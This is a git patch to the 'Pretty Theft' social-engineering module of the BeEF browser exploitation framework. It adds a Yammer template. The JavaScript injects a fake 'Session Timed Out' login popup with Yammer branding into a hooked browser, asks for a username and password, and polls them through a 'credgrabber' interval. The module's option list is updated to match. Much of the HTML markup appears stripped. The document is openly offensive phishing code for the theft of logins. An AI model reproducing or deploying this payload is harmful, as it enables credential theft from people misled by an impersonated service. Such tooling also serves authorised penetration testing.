From 4718075b2c77cbcd67a4bb7e2fe7b1f9493efcf2 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 19 Feb 2013 16:01:10 +1030 Subject: [PATCH] Add Yammer template to Pretty Theft module --- .../pretty_theft/command.js | 54 +++++++++++++++---- .../social_engineering/pretty_theft/module.rb | 2 +- 2 files changed, 44 insertions(+), 12 deletions(-) diff --git a/modules/social_engineering/pretty_theft/command.js b/modules/social_engineering/pretty_theft/command.js index c29ca3060..76a584672 100644 --- a/modules/social_engineering/pretty_theft/command.js +++ b/modules/social_engineering/pretty_theft/command.js @@ -172,18 +172,48 @@ beef.execute(function() { document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? - var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; - var windowmain = 'style="border:1px #555 solid;"'; - var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 22px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; - var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; - var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; - var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; + var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; + var windowmain = 'style="border:1px #555 solid;"'; + var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 22px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; + var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; + var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; + var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"'; - var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; - var logo = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png'; - var title = 'Session Timed Out YouTube'; - var messagewords = 'Your session has timed out due to inactivity.

Please re-enter your username and password to login.'; - var buttonLabel = ''; + var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; + var logo = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png'; + var title = 'Session Timed Out YouTube'; + var messagewords = 'Your session has timed out due to inactivity.

Please re-enter your username and password to login.'; + var buttonLabel = ''; + + // Build page including styles + sneakydiv.innerHTML= '
' +title+ '

' + messagewords + '

Username:
Password:
' + '
' +buttonLabel+ '
'; + + // Repeatedly check if button has been pressed + credgrabber = setInterval(checker,1000); + + } + + // Yammer floating div + function yammer() { + + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'popup'); + sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); + document.body.appendChild(sneakydiv); + + // Set appearance using styles, maybe cleaner way to do this with CSS block? + var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; + var windowmain = 'style="border:1px #555 solid;"'; + var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 22px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; + var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; + var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; + var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; + var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"'; + var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; + var logo = 'https://www.yammer.com/favicon.ico'; + var title = 'Session Timed Out Yammer'; + var messagewords = 'Your Yammer session has timed out due to inactivity.

Please re-enter your username and password to login.'; + var buttonLabel = ''; // Build page including styles sneakydiv.innerHTML= '
' +title+ '

' + messagewords + '

Username:
Password:
' + '
' +buttonLabel+ '
'; @@ -224,6 +254,8 @@ beef.execute(function() { linkedin(); break; case "YouTube": youtube(); break; + case "Yammer": + yammer(); break; default: generic(); break; } diff --git a/modules/social_engineering/pretty_theft/module.rb b/modules/social_engineering/pretty_theft/module.rb index 3a15d7be5..07e1aea9b 100644 --- a/modules/social_engineering/pretty_theft/module.rb +++ b/modules/social_engineering/pretty_theft/module.rb @@ -9,7 +9,7 @@ class Pretty_theft < BeEF::Core::Command configuration = BeEF::Core::Configuration.instance logo_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/beef.png" return [ - {'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['YouTube'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, + {'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, {'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'],['Clear']], 'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true },